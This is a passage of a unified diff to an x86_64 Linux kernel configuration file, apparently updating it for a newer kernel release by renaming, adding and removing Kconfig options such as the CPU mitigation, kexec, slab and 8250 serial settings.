CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y -CONFIG_GENERIC_MSI_IRQ_DOMAIN=y CONFIG_IRQ_MSI_IOMMU=y CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y @@ -79,6 +79,7 @@ CONFIG_CLOCKSOURCE_VALIDATE_LAST_CYCLE=y CONFIG_GENERIC_TIME_VSYSCALL=y CONFIG_GENERIC_CLOCKEVENTS=y CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y +CONFIG_GENERIC_CLOCKEVENTS_BROADCAST_IDLE=y CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y @@ -133,7 +134,6 @@ CONFIG_TICK_CPU_ACCOUNTING=y # CONFIG_TREE_RCU=y # CONFIG_RCU_EXPERT is not set -CONFIG_SRCU=y CONFIG_TREE_SRCU=y CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y @@ -143,7 +143,6 @@ CONFIG_RCU_NEED_SEGCBLIST=y # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 -CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y # @@ -156,13 +155,14 @@ CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" -CONFIG_GCC11_NO_ARRAY_BOUNDS=y -CONFIG_GCC12_NO_ARRAY_BOUNDS=y +CONFIG_GCC10_NO_ARRAY_BOUNDS=y +CONFIG_CC_NO_ARRAY_BOUNDS=y +CONFIG_GCC_NO_STRINGOP_OVERFLOW=y +CONFIG_CC_NO_STRINGOP_OVERFLOW=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set -# CONFIG_SYSFS_DEPRECATED is not set # CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" @@ -182,6 +182,7 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y +CONFIG_LD_ORPHAN_WARN_LEVEL="warn" CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y @@ -194,7 +195,7 @@ CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y -# CONFIG_BASE_FULL is not set +# CONFIG_BASE_SMALL is not set CONFIG_FUTEX=y CONFIG_FUTEX_PI=y CONFIG_EPOLL=y @@ -206,13 +207,13 @@ CONFIG_SHMEM=y CONFIG_IO_URING=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y -# CONFIG_KALLSYMS is not set -CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y CONFIG_KCMP=y # CONFIG_RSEQ is not set -CONFIG_EMBEDDED=y -CONFIG_HAVE_PERF_EVENTS=y +CONFIG_CACHESTAT_SYSCALL=y # CONFIG_PC104 is not set +# CONFIG_KALLSYMS is not set +CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_HAVE_PERF_EVENTS=y # # Kernel Performance Events And Counters @@ -222,6 +223,16 @@ CONFIG_PERF_EVENTS=y # end of Kernel Performance Events And Counters # CONFIG_PROFILING is not set + +# +# Kexec and crash features +# +CONFIG_KEXEC_CORE=y +CONFIG_KEXEC=y +CONFIG_KEXEC_FILE=y +# CONFIG_KEXEC_SIG is not set +# CONFIG_CRASH_DUMP is not set +# end of Kexec and crash features # end of General setup CONFIG_64BIT=y @@ -243,7 +254,6 @@ CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y -CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y CONFIG_AUDIT_ARCH=y CONFIG_HAVE_INTEL_TXT=y @@ -257,10 +267,11 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # Processor type and features # CONFIG_SMP=y -CONFIG_X86_FEATURE_NAMES=y +CONFIG_X86_X2APIC=y +# CONFIG_X86_POSTED_MSI is not set # CONFIG_X86_MPPARSE is not set -# CONFIG_GOLDFISH is not set # CONFIG_X86_CPU_RESCTRL is not set +# CONFIG_X86_FRED is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set # CONFIG_X86_AMD_PLATFORM_DEVICE is not set @@ -279,6 +290,7 @@ CONFIG_X86_INTEL_USERCOPY=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_P6_NOP=y CONFIG_X86_TSC=y +CONFIG_X86_HAVE_PAE=y CONFIG_X86_CMPXCHG64=y CONFIG_X86_CMOV=y CONFIG_X86_MINIMUM_CPU_FAMILY=64 @@ -305,6 +317,7 @@ CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y CONFIG_X86_LOCAL_APIC=y +CONFIG_ACPI_MADT_WAKEUP=y CONFIG_X86_IO_APIC=y # CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y @@ -322,7 +335,8 @@ CONFIG_X86_MCE_THRESHOLD=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_MICROCODE is not set +CONFIG_MICROCODE=y +# CONFIG_MICROCODE_LATE_LOADING is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set # CONFIG_X86_5LEVEL is not set @@ -342,18 +356,25 @@ CONFIG_CC_HAS_IBT=y CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set # CONFIG_X86_INTEL_TSX_MODE_AUTO is not set +# CONFIG_X86_USER_SHADOW_STACK is not set CONFIG_EFI=y # CONFIG_EFI_STUB is not set +CONFIG_EFI_RUNTIME_MAP=y # CONFIG_HZ_100 is not set CONFIG_HZ_250=y # CONFIG_HZ_300 is not set # CONFIG_HZ_1000 is not set CONFIG_HZ=250 -CONFIG_KEXEC=y -CONFIG_KEXEC_FILE=y -CONFIG_ARCH_HAS_KEXEC_PURGATORY=y -# CONFIG_KEXEC_SIG is not set -# CONFIG_CRASH_DUMP is not set +CONFIG_ARCH_SUPPORTS_KEXEC=y +CONFIG_ARCH_SUPPORTS_KEXEC_FILE=y +CONFIG_ARCH_SELECTS_KEXEC_FILE=y +CONFIG_ARCH_SUPPORTS_KEXEC_PURGATORY=y +CONFIG_ARCH_SUPPORTS_KEXEC_SIG=y +CONFIG_ARCH_SUPPORTS_KEXEC_SIG_FORCE=y +CONFIG_ARCH_SUPPORTS_KEXEC_BZIMAGE_VERIFY_SIG=y +CONFIG_ARCH_SUPPORTS_KEXEC_JUMP=y +CONFIG_ARCH_SUPPORTS_CRASH_DUMP=y +CONFIG_ARCH_SUPPORTS_CRASH_HOTPLUG=y CONFIG_PHYSICAL_START=0x1000000 CONFIG_RELOCATABLE=y CONFIG_RANDOMIZE_BASE=y @@ -363,8 +384,6 @@ CONFIG_DYNAMIC_MEMORY_LAYOUT=y CONFIG_RANDOMIZE_MEMORY=y CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y -# CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set -# CONFIG_DEBUG_HOTPLUG_CPU0 is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set @@ -373,13 +392,27 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_NAMED_AS=y +CONFIG_USE_X86_SEG_SUPPORT=y CONFIG_CC_HAS_RETURN_THUNK=y -CONFIG_SPECULATION_MITIGATIONS=y -CONFIG_PAGE_TABLE_ISOLATION=y -# CONFIG_RETPOLINE is not set -CONFIG_CPU_IBRS_ENTRY=y +CONFIG_CC_HAS_ENTRY_PADDING=y +CONFIG_FUNCTION_PADDING_CFI=11 +CONFIG_FUNCTION_PADDING_BYTES=16 +CONFIG_CALL_PADDING=y +CONFIG_HAVE_CALL_THUNKS=y +CONFIG_CALL_THUNKS=y +CONFIG_PREFIX_SYMBOLS=y +CONFIG_CPU_MITIGATIONS=y +CONFIG_MITIGATION_PAGE_TABLE_ISOLATION=y +CONFIG_MITIGATION_RETPOLINE=y +CONFIG_MITIGATION_RETHUNK=y +CONFIG_MITIGATION_CALL_DEPTH_TRACKING=y +# CONFIG_CALL_THUNKS_DEBUG is not set +CONFIG_MITIGATION_IBRS_ENTRY=y +# CONFIG_MITIGATION_GDS_FORCE is not set +CONFIG_MITIGATION_RFDS=y +CONFIG_MITIGATION_SPECTRE_BHI=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -392,6 +425,7 @@ CONFIG_ACPI=y CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y +CONFIG_ACPI_THERMAL_LIB=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y # CONFIG_ACPI_FPDT is not set @@ -430,6 +464,7 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_CONFIGFS is not set # CONFIG_ACPI_PFRUT is not set CONFIG_ACPI_PCC=y +# CONFIG_ACPI_FFH is not set # CONFIG_PMIC_OPREGION is not set CONFIG_ACPI_PRMT=y CONFIG_X86_PM_TIMER=y @@ -457,7 +492,6 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set # CONFIG_X86_AMD_PSTATE is not set -# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -496,19 +530,26 @@ CONFIG_ISA_DMA_API=y # CONFIG_X86_X32_ABI is not set # end of Binary Emulations -CONFIG_HAVE_KVM=y # CONFIG_VIRTUALIZATION is not set CONFIG_AS_AVX512=y CONFIG_AS_SHA1_NI=y CONFIG_AS_SHA256_NI=y CONFIG_AS_TPAUSE=y +CONFIG_AS_GFNI=y +CONFIG_AS_VAES=y +CONFIG_AS_VPCLMULQDQ=y +CONFIG_AS_WRUSS=y +CONFIG_ARCH_CONFIGURES_CPU_MITIGATIONS=y # # General architecture-dependent options # -CONFIG_CRASH_CORE=y -CONFIG_KEXEC_CORE=y CONFIG_HOTPLUG_SMT=y +CONFIG_HOTPLUG_CORE_SYNC=y +CONFIG_HOTPLUG_CORE_SYNC_DEAD=y +CONFIG_HOTPLUG_CORE_SYNC_FULL=y +CONFIG_HOTPLUG_SPLIT_STARTUP=y +CONFIG_HOTPLUG_PARALLEL=y CONFIG_GENERIC_ENTRY=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y @@ -532,6 +573,8 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y +CONFIG_ARCH_HAS_CPU_PASID=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_ARCH_WANTS_NO_INSTR=y @@ -550,7 +593,9 @@ CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y CONFIG_MMU_GATHER_MERGE_VMAS=y +CONFIG_MMU_LAZY_TLB_REFCOUNT=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y +CONFIG_ARCH_HAS_NMI_SAFE_THIS_CPU_OPS=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y CONFIG_HAVE_CMPXCHG_DOUBLE=y @@ -587,8 +632,11 @@ CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_ARCH_MMAP_RND_BITS=y CONFIG_HAVE_EXIT_THREAD=y CONFIG_ARCH_MMAP_RND_BITS=28 +CONFIG_HAVE_PAGE_SIZE_4KB=y +CONFIG_PAGE_SIZE_4KB=y CONFIG_PAGE_SIZE_LESS_THAN_64KB=y CONFIG_PAGE_SIZE_LESS_THAN_256KB=y +CONFIG_PAGE_SHIFT=12 CONFIG_HAVE_OBJTOOL=y CONFIG_HAVE_JUMP_LABEL_HACK=y CONFIG_HAVE_NOINSTR_HACK=y @@ -619,7 +667,9 @@ CONFIG_ARCH_SUPPORTS_PAGE_TABLE_CHECK=y CONFIG_ARCH_HAS_ELFCORE_COMPAT=y CONFIG_ARCH_HAS_PARANOID_L1D_FLUSH=y CONFIG_DYNAMIC_SIGFRAME=y +CONFIG_ARCH_HAS_HW_PTE_YOUNG=y CONFIG_ARCH_HAS_NONLEAF_PMD_YOUNG=y +CONFIG_ARCH_HAS_KERNEL_FPU_SUPPORT=y # # GCOV-based kernel profiling @@ -630,10 +680,12 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y CONFIG_HAVE_GCC_PLUGINS=y CONFIG_GCC_PLUGINS=y # CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +CONFIG_FUNCTION_ALIGNMENT_4B=y +CONFIG_FUNCTION_ALIGNMENT_16B=y +CONFIG_FUNCTION_ALIGNMENT=16 # end of General architecture-dependent options CONFIG_RT_MUTEXES=y -CONFIG_BASE_SMALL=1 CONFIG_MODULES=y # CONFIG_MODULE_FORCE_LOAD is not set # CONFIG_MODULE_UNLOAD is not set @@ -654,9 +706,9 @@ CONFIG_BLOCK_LEGACY_AUTOLOAD=y CONFIG_BLK_DEV_BSG_COMMON=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set +CONFIG_BLK_DEV_WRITE_MOUNTED=y # CONFIG_BLK_DEV_ZONED is not set # CONFIG_BLK_WBT is not set -# CONFIG_BLK_SED_OPAL is not set # CONFIG_BLK_INLINE_ENCRYPTION is not set # @@ -710,19 +762,21 @@ CONFIG_BINFMT_SCRIPT=y # Memory Management options # # CONFIG_SWAP is not set +CONFIG_HAVE_ZSMALLOC=y # -# SLAB allocator options +# Slab allocator options # -# CONFIG_SLAB is not set CONFIG_SLUB=y -# CONFIG_SLOB is not set +# CONFIG_SLUB_TINY is not set CONFIG_SLAB_MERGE_DEFAULT=y # CONFIG_SLAB_FREELIST_RANDOM is not set # CONFIG_SLAB_FREELIST_HARDENED is not set +# CONFIG_SLAB_BUCKETS is not set # CONFIG_SLUB_STATS is not set CONFIG_SLUB_CPU_PARTIAL=y -# end of SLAB allocator options +# CONFIG_RANDOM_KMALLOC_CACHES is not set +# end of Slab allocator options # CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set # CONFIG_COMPAT_BRK is not set @@ -730,13 +784,17 @@ CONFIG_SPARSEMEM=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_VMEMMAP=y -CONFIG_HAVE_FAST_GUP=y +CONFIG_ARCH_WANT_OPTIMIZE_DAX_VMEMMAP=y +CONFIG_ARCH_WANT_OPTIMIZE_HUGETLB_VMEMMAP=y +CONFIG_HAVE_GUP_FAST=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # CONFIG_MEMORY_HOTPLUG is not set +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y CONFIG_SPLIT_PTLOCK_CPUS=4 CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y # CONFIG_COMPACTION is not set # CONFIG_PAGE_REPORTING is not set +CONFIG_PCP_BATCH_SCALE_MAX=5 CONFIG_PHYS_ADDR_T_64BIT=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set @@ -765,9 +823,17 @@ CONFIG_ZONE_DMA32=y # # GUP_TEST needs to have DEBUG_FS enabled # +# CONFIG_DMAPOOL_TEST is not set CONFIG_ARCH_HAS_PTE_SPECIAL=y +# CONFIG_MEMFD_CREATE is not set +CONFIG_SECRETMEM=y # CONFIG_USERFAULTFD is not set # CONFIG_LRU_GEN is not set +CONFIG_ARCH_SUPPORTS_PER_VMA_LOCK=y +CONFIG_PER_VMA_LOCK=y +CONFIG_LOCK_MM_AND_FIND_VMA=y +CONFIG_IOMMU_MM_DATA=y +CONFIG_EXECMEM=y # # Data Access Monitoring @@ -784,7 +850,6 @@ CONFIG_NET=y CONFIG_PACKET=y # CONFIG_PACKET_DIAG is not set CONFIG_UNIX=y -CONFIG_UNIX_SCM=y CONFIG_AF_UNIX_OOB=y # CONFIG_UNIX_DIAG is not set # CONFIG_TLS is not set @@ -807,13 +872,13 @@ CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y CONFIG_DEFAULT_TCP_CONG="cubic" +# CONFIG_TCP_AO is not set # CONFIG_TCP_MD5SIG is not set # CONFIG_IPV6 is not set # CONFIG_MPTCP is not set # CONFIG_NETWORK_SECMARK is not set # CONFIG_NETWORK_PHY_TIMESTAMPING is not set # CONFIG_NETFILTER is not set -# CONFIG_BPFILTER is not set # CONFIG_IP_DCCP is not set # CONFIG_IP_SCTP is not set # CONFIG_RDS is not set @@ -843,6 +908,7 @@ CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_QRTR is not set # CONFIG_NET_NCSI is not set CONFIG_PCPU_DEV_REFCNT=y +CONFIG_MAX_SKB_FRAGS=17 CONFIG_RPS=y CONFIG_RFS_ACCEL=y CONFIG_SOCK_RX_QUEUE_MAPPING=y @@ -882,6 +948,7 @@ CONFIG_ETHTOOL_NETLINK=y CONFIG_HAVE_EISA=y # CONFIG_EISA is not set CONFIG_HAVE_PCI=y +CONFIG_GENERIC_PCI_IOMAP=y CONFIG_PCI=y CONFIG_PCI_DOMAINS=y # CONFIG_PCIEPORTBUS is not set @@ -892,7 +959,6 @@ CONFIG_PCIEASPM_DEFAULT=y # CONFIG_PCIEASPM_PERFORMANCE is not set # CONFIG_PCIE_PTM is not set CONFIG_PCI_MSI=y -CONFIG_PCI_MSI_IRQ_DOMAIN=y CONFIG_PCI_QUIRKS=y # CONFIG_PCI_DEBUG is not set # CONFIG_PCI_STUB is not set @@ -917,21 +983,26 @@ CONFIG_VGA_ARB_MAX_GPUS=16 # CONFIG_VMD is not set # -# DesignWare PCI Core Support +# Cadence-based PCIe controllers +# +# end of Cadence-based PCIe controllers + +# +# DesignWare-based PCIe controllers # -# CONFIG_PCIE_DW_PLAT_HOST is not set # CONFIG_PCI_MESON is not set -# end of DesignWare PCI Core Support +# CONFIG_PCIE_DW_PLAT_HOST is not set +# end of DesignWare-based PCIe controllers # -# Mobiveil PCIe Core Support +# Mobiveil-based PCIe controllers # -# end of Mobiveil PCIe Core Support +# end of Mobiveil-based PCIe controllers # -# Cadence PCIe controllers support +# PLDA-based PCIe controllers # -# end of Cadence PCIe controllers support +# end of PLDA-based PCIe controllers # end of PCI controller drivers # @@ -975,12 +1046,14 @@ CONFIG_EXTRA_FIRMWARE="" # CONFIG_DEBUG_DEVRES is not set # CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set # CONFIG_TEST_ASYNC_DRIVER_PROBE is not set +CONFIG_GENERIC_CPU_DEVICES=y CONFIG_GENERIC_CPU_AUTOPROBE=y CONFIG_GENERIC_CPU_VULNERABILITIES=y CONFIG_REGMAP=y CONFIG_REGMAP_MMIO=y CONFIG_DMA_SHARED_BUFFER=y # CONFIG_DMA_FENCE_TRACE is not set +# CONFIG_FW_DEVLINK_SYNC_STATE_TIMEOUT is not set # end of Generic Driver Options # @@ -990,6 +1063,11 @@ CONFIG_DMA_SHARED_BUFFER=y # CONFIG_MHI_BUS_EP is not set # end of Bus devices +# +# Cache Drivers +# +# end of Cache Drivers + # CONFIG_CONNECTOR is not set # @@ -1016,8 +1094,6 @@ CONFIG_SYSFB_SIMPLEFB=y # EFI (Extensible Firmware Interface) Support # CONFIG_EFI_ESRT=y -CONFIG_EFI_RUNTIME_MAP=y -# CONFIG_EFI_FAKE_MEMMAP is not set CONFIG_EFI_RUNTIME_WRAPPERS=y # CONFIG_EFI_BOOTLOADER_CONTROL is not set # CONFIG_EFI_CAPSULE_LOADER is not set @@ -1029,6 +1105,11 @@ CONFIG_EFI_CUSTOM_SSDT_OVERLAYS=y # CONFIG_EFI_COCO_SECRET is not set # end of EFI (Extensible Firmware Interface) Support +# +# Qualcomm firmware drivers +# +# end of Qualcomm firmware drivers + # # Tegra firmware driver # @@ -1073,7 +1154,7 @@ CONFIG_BLK_DEV_NVME=y # CONFIG_NVME_VERBOSE_ERRORS is not set # CONFIG_NVME_FC is not set # CONFIG_NVME_TCP is not set -# CONFIG_NVME_AUTH is not set +# CONFIG_NVME_HOST_AUTH is not set # end of NVME Support # @@ -1105,7 +1186,6 @@ CONFIG_BLK_DEV_NVME=y # EEPROM support # # CONFIG_EEPROM_AT24 is not set -# CONFIG_EEPROM_LEGACY is not set # CONFIG_EEPROM_MAX6875 is not set # CONFIG_EEPROM_93CX6 is not set # CONFIG_EEPROM_IDT_89HPESX is not set @@ -1122,8 +1202,6 @@ CONFIG_BLK_DEV_NVME=y # CONFIG_SENSORS_LIS3_I2C is not set # CONFIG_ALTERA_STAPL is not set # CONFIG_INTEL_MEI is not set -# CONFIG_INTEL_MEI_ME is not set -# CONFIG_INTEL_MEI_TXE is not set # CONFIG_VMWARE_VMCI is not set # CONFIG_GENWQE is not set # CONFIG_ECHO is not set @@ -1131,9 +1209,9 @@ CONFIG_BLK_DEV_NVME=y # CONFIG_MISC_ALCOR_PCI is not set # CONFIG_MISC_RTSX_PCI is not set # CONFIG_MISC_RTSX_USB is not set -# CONFIG_HABANA_AI is not set # CONFIG_UACCE is not set # CONFIG_PVPANIC is not set +# CONFIG_KEBA_CP500 is not set # end of Misc devices # @@ -1245,6 +1323,7 @@ CONFIG_SATA_MOBILE_LPM_POLICY=0 # CONFIG_ATA_SFF is not set CONFIG_MD=y # CONFIG_BLK_DEV_MD is not set +CONFIG_MD_BITMAP_FILE=y # CONFIG_BCACHE is not set CONFIG_BLK_DEV_DM_BUILTIN=y CONFIG_BLK_DEV_DM=y @@ -1277,6 +1356,7 @@ CONFIG_DM_VERITY_FEC=y # CONFIG_DM_SWITCH is not set # CONFIG_DM_LOG_WRITES is not set # CONFIG_DM_INTEGRITY is not set +# CONFIG_DM_VDO is not set # CONFIG_TARGET_CORE is not set # CONFIG_FUSION is not set @@ -1303,6 +1383,7 @@ CONFIG_NET_CORE=y # CONFIG_GENEVE is not set # CONFIG_BAREUDP is not set # CONFIG_GTP is not set +# CONFIG_PFCP is not set # CONFIG_MACSEC is not set # CONFIG_NETCONSOLE is not set # CONFIG_TUN is not set @@ -1348,7 +1429,6 @@ CONFIG_E1000E=m CONFIG_E1000E_HWTS=y # CONFIG_IGB is not set # CONFIG_IGBVF is not set -# CONFIG_IXGB is not set # CONFIG_IXGBE is not set # CONFIG_IXGBEVF is not set # CONFIG_I40E is not set @@ -1356,11 +1436,12 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set -# CONFIG_NET_VENDOR_WANGXUN is not set +# CONFIG_IDPF is not set # CONFIG_JME is not set # CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set +# CONFIG_NET_VENDOR_META is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set @@ -1397,18 +1478,18 @@ CONFIG_E1000E_HWTS=y # CONFIG_NET_VENDOR_TI is not set # CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set -# CONFIG_NET_SB1000 is not set # CONFIG_PHYLIB is not set -# CONFIG_PSE_CONTROLLER is not set # CONFIG_MDIO_DEVICE is not set # # PCS device drivers # +# CONFIG_PCS_XPCS is not set # end of PCS device drivers # CONFIG_PPP is not set @@ -1545,10 +1626,10 @@ CONFIG_TTY=y CONFIG_VT=y CONFIG_CONSOLE_TRANSLATIONS=y CONFIG_VT_CONSOLE=y -CONFIG_HW_CONSOLE=y CONFIG_VT_HW_CONSOLE_BINDING=y CONFIG_UNIX98_PTYS=y # CONFIG_LEGACY_PTYS is not set +# CONFIG_LEGACY_TIOCSTI is not set CONFIG_LDISC_AUTOLOAD=y # @@ -1556,17 +1637,23 @@ CONFIG_LDISC_AUTOLOAD=y # CONFIG_SERIAL_8250=y # CONFIG_SERIAL_8250_DEPRECATED_OPTIONS is not set -# CONFIG_SERIAL_8250_PNP is not set +CONFIG_SERIAL_8250_PNP=y # CONFIG_SERIAL_8250_16550A_VARIANTS is not set # CONFIG_SERIAL_8250_FINTEK is not set -# CONFIG_SERIAL_8250_CONSOLE is not set -# CONFIG_SERIAL_8250_PCI is not set -CONFIG_SERIAL_8250_NR_UARTS=4 -CONFIG_SERIAL_8250_RUNTIME_UARTS=4 -# CONFIG_SERIAL_8250_EXTENDED is not set -# CONFIG_SERIAL_8250_DW is not set +CONFIG_SERIAL_8250_CONSOLE=y +CONFIG_SERIAL_8250_PCILIB=y +CONFIG_SERIAL_8250_PCI=y +CONFIG_SERIAL_8250_EXAR=y +CONFIG_SERIAL_8250_NR_UARTS=32 +CONFIG_SERIAL_8250_RUNTIME_UARTS=32 +CONFIG_SERIAL_8250_EXTENDED=y +CONFIG_SERIAL_8250_MANY_PORTS=y +CONFIG_SERIAL_8250_PCI1XXXX=y +CONFIG_SERIAL_8250_SHARE_IRQ=y +CONFIG_SERIAL_8250_DWLIB=y +CONFIG_SERIAL_8250_DW=y # CONFIG_SERIAL_8250_RT288X is not set -# CONFIG_SERIAL_8250_LPSS is not set +CONFIG_SERIAL_8250_LPSS=y # CONFIG_SERIAL_8250_MID is not set # CONFIG_SERIAL_8250_PERICOM is not set @@ -1597,6 +1684,7 @@ CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set +# CONFIG_SSIF_IPMI_BMC is not set # CONFIG_IPMB_DEVICE_INTERFACE is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set @@ -1613,6 +1701,7 @@ CONFIG_DEVPORT=y # CONFIG_HPET is not set # CONFIG_HANGCHECK_TIMER is not set CONFIG_TCG_TPM=y +CONFIG_TCG_TPM2_HMAC=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y @@ -1630,8 +1719,6 @@ CONFIG_TCG_TIS=y # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set # CONFIG_XILLYUSB is not set -CONFIG_RANDOM_TRUST_CPU=y -# CONFIG_RANDOM_TRUST_BOOTLOADER is not set # end of Character devices # @@ -1688,6 +1775,7 @@ CONFIG_I2C_ALGOBIT=y # CONFIG_I2C_SIS96X is not set # CONFIG_I2C_VIA is not set # CONFIG_I2C_VIAPRO is not set +# CONFIG_I2C_ZHAOXIN is not set # # ACPI drivers @@ -1752,9 +1840,9 @@ CONFIG_PTP_1588_CLOCK_OPTIONAL=y # CONFIG_GPIOLIB is not set # CONFIG_W1 is not set # CONFIG_POWER_RESET is not set +# CONFIG_POWER_SEQUENCING is not set CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set -# CONFIG_PDA_POWER is not set # CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set # CONFIG_CHARGER_ADP5061 is not set @@ -1766,8 +1854,8 @@ CONFIG_POWER_SUPPLY=y # CONFIG_BATTERY_SBS is not set # CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set -# CONFIG_BATTERY_MAX17040 is not set # CONFIG_BATTERY_MAX17042 is not set +# CONFIG_BATTERY_MAX1720X is not set # CONFIG_CHARGER_MAX8903 is not set # 